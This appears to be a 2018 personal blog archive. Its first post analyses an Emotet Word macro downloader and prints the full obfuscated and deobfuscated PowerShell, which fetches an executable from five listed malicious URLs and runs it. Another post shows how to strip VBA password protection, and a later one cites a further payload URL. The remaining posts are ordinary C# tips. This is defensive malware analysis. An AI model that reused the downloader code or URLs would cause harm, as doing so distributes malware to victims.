Sunday, May 6, 2018

Analysing Word VBA Downloader for Emotet Malware

I found pretty fresh samples of Emotet downloader code from https://www.malware-traffic-analysis.net/2018/05/04/index.html and decided to do a quick deobfuscation of the code.

First phase is obfuscated VBA code in Word document. If you open the document you will see familiar Office 365 logo. You will see also suggestions to Enable Editing or Enable Content which would execute VBA code.


Anyway the VBA code is pretty heavily obfuscated with lots of unnecessary code.


Code execution starts from module ujDjvvQ which is renamed ThisDocument. Module contains Autoopen function which can be simplified:

Sub Autoopen()
 On Error Resume Next
 TiOoQjQV( nFODYizhYv )
End Sub

Function TiOoQjQV contains shell function and the argument is mostly deobfuscated code.

Deobfuscation function resides in module srYodFmNbnD, and it can be simplified to:

Function OUtvU(ByVal ciUzkrCSLkWBnW As String, TLAaHGLpbjzzY, oYFjLnWNLj)
 On Error Resume Next
 SCXkhnfEKHM = Mid(StrReverse(ciUzkrCSLkWBnW), TLAaHGLpbjzzY, oYFjLnWNLj)
 OUtvU = SCXkhnfEKHM 
End Function

In effect function OUtvU is a wrapper to mid function. A little twist is first reversing string with StrReverse.

Shell function resides in module DnaCdFskcp and it's simplified as:

Sub TiOoQjQV(qFkOSjfj As String)
 On Error Resume Next
 [Shell] Chr(vbKeyC) + qFkOSjfj, 0
End Sub

The argument for shell function i.e. parameter's qFkOSjfj value is:

md jVpSwjvTz zCLlIDOdohUVOziMjRLUbTKVir okGWmYP & %^c^o^m^S^p^E^c^% %^c^o^m^S^p^E^c^% /V /c set %kzwhjFmUVUOiJkk%=kcwKnsUZV&&set %atDQwjOtB%=p&&set %nFODYizhYv%=o^w&&set %lFhJFzoEwJVsjOS%=WdjEbhWvCv&&set %ciUzkrCSLkWBnW%=!%atDQwjOtB%!&&set %iriHrfYMvAFLQXZ%=NaOWDOflQPn&&set %TiOoQjQV%=e^r&&set %SCXkhnfEKHM%=!%nFODYizhYv%!&&set %qFkOSjfj%=s&&set %VtDjlGJSzZpSqTU%=SULNJfBUv&&set %oYFjLnWNLj%=he&&set %TLAaHGLpbjzzY%=ll&&!%ciUzkrCSLkWBnW%!!%SCXkhnfEKHM%!!%TiOoQjQV%!!%qFkOSjfj%!!%oYFjLnWNLj%!!%TLAaHGLpbjzzY%! " . ( $env:comSpeC[4,26,25]-JoIn'')( (('ZmInsa'+'dasd = &('+'g'+'36n'+'g36+g36eg36+g'+'3'+'6'+'w'+'-obj'+'ecg36+g'+'36tg3'+'6'+') random;Z'+'m'+'I'+'YYU = .(g36ne'+'g3'+'6'+'+g'+'36'+'wg36+g36-obj'+'ectg36) Sys'+'tem.Ne'+'t.We'+'bC'+'li'+'ent;'+'Zm'+'INSB ='+' ZmInsa'+'d'+'a'+'sd.nex'+'t(10'+'000, 282'+'1'+'3'+'3);Z'+'mIAD'+'CX'+' = g3'+'6 http'+':'+'//'+'a'+'lian'+'.'+'d'+'e'+'/'+'4wBY'+'ki/@'+'http://agai'+'nstpe'+'rfect'+'ion.net/6'+'kWq0/@'+'ht'+'t'+'p'+'://globalreach'+'adv '+'ertising.'+'com/zfFg'+'SQ/'+'@htt'+'p://www.'+'fanoff.com/Z'+'VljVr/'+'@'+'h'+'ttp'+'://thur'+'tell.co'+'m/TCyk/g'+'3'+'6'+'.S'+'plit(g3'+'6@'+'g'+'3'+'6);ZmI'+'S'+'DC '+'= ZmIe'+'nv:pu'+'bl'+'i'+'c + g3'+'6Dcfg36 +'+' Zm'+'INSB +'+' (g'+'3'+'6'+'.exg36'+'+g3'+'6eg36);fo'+'reach'+'(Z'+'mIasfc'+' '+'in ZmI'+'AD'+'CX){t'+'ry{ZmIYYU.sH6Do'+'0mIWn'+'l0mIOa'+'dFI'+'0mI'+'lesH6('+'ZmI'+'asfc.sH6ToStr0mIi0'+'m'+'INgsH6(),'+' ZmI'+'SDC)'+';&(g36Inv'+'og'+'3'+'6+'+'g36'+'k'+'g'+'36+g36e'+'-It'+'emg36'+')(Z'+'m'+'I'+'SDC'+');bre'+'ak;}catch'+'{}'+'}') -repLACE '0mI',[chaR]96 -repLACE([chaR]68+[chaR]99+[chaR]102),[chaR]92-cREPLACE 'g36',[chaR]39 -cREPLACE ([chaR]90+[chaR]109+[chaR]73),[chaR]36 -cREPLACE ([chaR]115+[chaR]72+[chaR]54),[chaR]34) )

This script code has two parts. First part is DOS code which creates a folder and sets environment variables that evaluate to string 'powershell'. Second part is obfuscated powershell code.

To analyse powershell code, I first made a replace table:
Replace Table
  • 0mI  ' 
  • ZmI $ 
  • g36  ' 
  • Dcf  \ 
  • sH6 *

Finally I deobfuscated powershell code as (excluding Replace functions):

( $env:comSpeC[4,26,25]-JoIn)( (('
 $nsadasd = &('new-object) random;
 $YYU = .('new-object')System.Net.WebClient;
 $NSB =$nsadasd.next(10000, 282133);
 $ADCX = '
 http://alian.de/4wBYki/@
 http://againstperfection.net/6kWq0/@
 http://globalreachadvertising.com/zfFgSQ/@
 http://www.fanoff.com/ZVljVr/@
 http://thurtell.com/TCyk/
 '.Split('@');
 $SDC = $env:public + '\' + $NSB + ('.exe');
 foreach($asfc in $ADCX)
 {try{$YYU.*DoWnlOadFIle*($asfc.*ToStriNg*(), $SDC);
 &('Invoke-Item')($SDC); 
 break;}
catch{}})

Obfuscation method in VBA code resembles very much the code in: A sample analysis walkthrough with RETouch: Testing a new feature. I guess they are both made with the same malware or obfuscation kit.

Sunday, April 29, 2018

Revealing Password Protected VBA Macro Code

Last night I downloaded a malicious Word document from Any.Run website. Malware is recognized according VirusTotal as Trojan-Downloader.MSWord.Agent.byj (Kaspersky).



Once opened the document suggests macro and content enabling. Notice the funny typo: "Can't Veiw?".



Viewing the VBA code is made difficult with MS Office's built-in VBA project password protection. So the password protection has to be removed or cracked. I decided to remove password protection.



The document itself was also password protected so this protection has to be removed first. Since I did not know the password I just guessed the password: "1234".



Document password can be removed from File/Properties. I was using Finnish Word so try to follow screenshots anyway.



When the Document password is removed, save the document in docm format.



Now, open the Explorer, locate the previously saved docm format file and open it with 7-Zip as an archive file. I used 7-Zip but this could be done with any Archiver application.



Locate vbaProject.bin from inside the archive (Word document). Then extract vbaProject.bin out of the file.



Open the extracted vbaProject.bin file with your hex editor. Search "DPB" as ASCII text. There should be only one occurrence of that string. After you have found it, replace it from "DPB" to "DPx". Save this modified file and close the hex editor.



Drag the modified vbaProject.bin file back to 7-Zip and replace the original vbaProject.bin file. If you use some other archiver you may need to do this in some other way.



Save the archive file and now you can re-open docm file with Word. You should get an error message, see below image. Answer "Yes" and the document loads.



Open VBA editor and select VBA project's properties. You should be able to remove project locking and any passwords. You may need to save and reload the document to changes to take effect.



Finally you should see the hidden VBA code.

Sunday, April 22, 2018

Catching .NET exceptions with a condition

CSharp provides methods to catch exceptions only when a condition is met. This can be used for example to display a messagebox when the application is in development and when the application is in the production mode just write to log the exception.

Here is a very simple piece of code. The point in here is to catch the division by zero exception.

bool IsDevelopmentmode = true;

try
{
    for(int i = -2; i <= 2; i++)
    {
        int x = 4 / i;
    }
}
catch (DivideByZeroException ex) when (IsDevelopmentmode)
{
    MessageBox.Show("Error " + ex.Message, "Error",
        MessageBoxButtons.OK, MessageBoxIcon.Warning);
}
catch (DivideByZeroException)
{
    // Log error
}


The code has two catch (DivideByZeroException) statements. The first one has a condition when (IsDevelopmentmode). As long as the condition is true the first catch statement is used. If the condition is false the latter catch statement is executed. As you can see it's possible to mix both conditional and unconditional catch statements. The condition can be any expression that evaluates to boolean value.

There must be at least one catch statement to capture exception. Otherwise the exception is thrown up in the call stack and in the worst case application's user gets the error message. Here is the same example without latter catch statement and the condition is set to false.

bool IsDevelopmentmode = false;

try
{
    for(int i = -2; i <= 2; i++)
    {
        int x = 4 / i;
    }
}
catch (DivideByZeroException ex) when (IsDevelopmentmode)
{
    MessageBox.Show("Error " + ex.Message, "Error",
        MessageBoxButtons.OK, MessageBoxIcon.Warning);
}


Now the exception is not catched and you get following error:


Sunday, April 15, 2018

Make a shortcut for application with CSharp

I needed to make a shortcut file (.lnk file) from my CSharp application. As far as I know there is no way to do it directly from the .NET code. Only way is to use Windows API calls or Windows scripting capabilities. I decided to use scripting and here is how it gets done.

First, add a reference to COM-object 'Windows Script Host Object Model' from your project's properties. Secondly, import namespace 'IWshRuntimeLibrary' in your code. And here is the code itself:

private void MakeShortcut(string appDisplayName, string exeFullPath)
{
    if (string.IsNullOrEmpty(appDisplayName) || string.IsNullOrEmpty(exeFullPath))
    {
        return; // Fail if name or path is missing
    }
    try
    {
        IWshShell_Class wsh = new IWshShell_Class();
        IWshRuntimeLibrary.IWshShortcut shortcut = wsh.CreateShortcut(
            Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\" + appName + ".lnk")
            as IWshRuntimeLibrary.IWshShortcut;
        shortcut.Arguments = "";
        shortcut.TargetPath = exeFullPath;
        shortcut.WindowStyle = 1; // Normal window
        shortcut.Description = "Shortcut to " + appName;
        shortcut.WorkingDirectory = "";
        shortcut.IconLocation = exeFullPath;
        shortcut.Save();
    }
    catch
    {

    }
}

I wrote it as a procedure so the code can be easily copy/pasted to other projects as well.

The code above makes a shortcut to Desktop, so change ' Environment.SpecialFolder.Desktop' if you need your shortcut to some other place.

RETouch installer and download

Although RETouch source code is hosted in the GitHub, the RETouch binaries are not. That is because the size limit of the free GitHub account. Now the latest binary with Windows installer is in the DropBox. Donwload link for RETouch is https://www.dropbox.com/sh/hvttkwkt4ovk5r7/AAAn4xqQgjqU0UiD1hVoQv9aa?dl=0

Tuesday, April 10, 2018

String comparison, easy as a == b, right? Wrong!

I have recently used a lot of string comparison. Comparing strings is not as easy as one might think. The string comparison should also be done fast when you're dealing with massive amounts of text. I have needed both case-sensitive and case-insensitive string comparisons. I've also needed to determine if a string is a substring of the other string. I have used a few methods and their variants.

To determine if a string is a substring of another string I've used two methods:
- Contains method from the string class: .Contains()
- IndexOf method from the string class: .IndexOf()

Both methods do case-sensitive matching of the strings. However, IndexOf method has an overloaded version which does a case-insensitive matching:
- .IndexOf(, 0, StringComparison.OrdinalIgnoreCase)
Another method to do case-insensitive matching is to use ToLower() method (or ToUpper()) with both strings. Since I needed fast string comparisons I started to wonder if an extra ToLower() method call would cause a huge time penalty.

I decided to compare four methods and variants:
- case-sensitive Contains method: .Contains()
- case-sensitive IndexOf method: .IndexOf()
- case-insensitive IndexOf method with ToLower method: .ToLower().IndexOf(.ToLower())
- case-insensitive .IndexOf(, 0, StringComparison.OrdinalIgnoreCase)

I wrote a small CSharp console application that provides comparisons above and would get accurate enough timing of the comparisons. To get measurable timings each comparison variant was repeated in a loop.

So here is the code:

class Program
{
    public static string stringToSearch;
    public static string text = "A Function to search for";
    public static bool match = false;
    public static DateTime startTime;
    public static TimeSpan elapsedTime;

    public static int Method1(int loops, string stringToSearch)
    {
        startTime = DateTime.Now;
        for(int i = 0; i < loops; i++)
        { 
            match = text.Contains(stringToSearch);
        }
        elapsedTime = DateTime.Now.Subtract(startTime);
        Console.WriteLine("Contains(" + stringToSearch + "): " + match.ToString());
        Console.WriteLine("Elapsed: " + (int)elapsedTime.TotalMilliseconds);
        return (int)elapsedTime.TotalMilliseconds;
    }

    public static int Method2(int loops, string stringToSearch)
    {
        startTime = DateTime.Now;
        for (int i = 0; i < loops; i++)
        {
            match = text.IndexOf(stringToSearch) >= 0;
        }
        elapsedTime = DateTime.Now.Subtract(startTime);
        Console.WriteLine("IndexOf(" + stringToSearch + "): " + match.ToString());
        Console.WriteLine("Elapsed: " + (int)elapsedTime.TotalMilliseconds);
        return (int)elapsedTime.TotalMilliseconds;
    }

    public static int Method3(int loops, string stringToSearch)
    {
        startTime = DateTime.Now;
        for (int i = 0; i < loops; i++)
        {
            match = text.ToLower().IndexOf(stringToSearch.ToLower()) >= 0;
        }
        elapsedTime = DateTime.Now.Subtract(startTime);
        Console.WriteLine("IndexOf(" + stringToSearch + ".ToLower()): " + match.ToString());
        Console.WriteLine("Elapsed: " + (int)elapsedTime.TotalMilliseconds);
        return (int)elapsedTime.TotalMilliseconds;
    }

    public static int Method4(int loops, string stringToSearch)
    {
        startTime = DateTime.Now;
        for (int i = 0; i < loops; i++)
        {
            match = text.IndexOf(stringToSearch, 0, StringComparison.OrdinalIgnoreCase) >= 0;
        }
        elapsedTime = DateTime.Now.Subtract(startTime);
        Console.WriteLine("IndexOf(" + stringToSearch + ", 0, StringComparison.OrdinalIgnoreCase) :" + match.ToString());
        Console.WriteLine("Elapsed: " + (int)elapsedTime.TotalMilliseconds);
        return (int)elapsedTime.TotalMilliseconds;
    }

    static void Main(string[] args)
    {
        int loops = 1000000; // One million
        int m1 = 0;
        int m2 = 0;
        int m3 = 0;
        int m4 = 0;

        stringToSearch = "Function";
        m1 += Method1(loops, stringToSearch);
        m2 += Method2(loops, stringToSearch);
        m3 += Method3(loops, stringToSearch);
        m4 += Method4(loops, stringToSearch);

        Console.WriteLine();
        stringToSearch = "not found";
        m1 += Method1(loops, stringToSearch);
        m2 += Method2(loops, stringToSearch);
        m3 += Method3(loops, stringToSearch);
        m4 += Method4(loops, stringToSearch);

        Console.WriteLine();
        Console.WriteLine("Method 1 Elapsed: " + (int)(m1 / 2));
        Console.WriteLine("Method 2 Elapsed: " + (int)(m2 / 2));
        Console.WriteLine("Method 3 Elapsed: " + (int)(m3 / 2));
        Console.WriteLine("Method 4 Elapsed: " + (int)(m4 / 2));

        Console.ReadKey();
    }
}


The code itself is pretty simple and should be self- explanatory.



Each method was executed both with a string that would be found and with a string that would not be found. The final timing was the average of these two.

For the case-insensitive searching .IndexOf(, 0, StringComparison.OrdinalIgnoreCase) seems to be the best choice. I was a bit surprised that this was faster than basic .IndexOf() search. If you need only case-sensitive search then .Contains() would be the fastest method.

Monday, April 9, 2018

A sample analysis walkthrough with RETouch: Testing a new feature

Here is another example how to analyze a malware with RETouch. I picked up Zahlung_03_04_2018_658348.doc from hybrid-analysis.com. This sample was suitable to test new script deobfuscation feature. This new feature tries to make obfuscated script to more human readable. Feature is not yet available in Github code and will be released with RETouch 1.1 version.

Below is the image of the original code.

First I select the correct script language, that is VBScript in this case. I also select inserting linebreaks after VBScript keywords, function and variable renaming and also unescaping escaped codes.

The final result is _almost_ readable. At this point the easiest way to proceed is to copy/paste code to a Word document and do final fixing.

Copy/Pasting code to VBA-editor enables syntax checking and highlighting. That is very handy for the final steps with the code. Below is the start of the fixed VBA-code. It also shows "mysterious" procA function.

After fixing the latter part of the code, the code starts to make sense. "Mysterious" procA converts Base64 code to text. The text is split to shorter strings which are obfuscated by coding them with Base64.

VBA-code uses MSXML2.XMLHTTP to download an exe file from https://tous1site.name/axctogh.exe. Final lines start Wscript.Shell to execute downloaded file.

Executable file is no longer available and what it does would be outside of RETouch's scope anyway.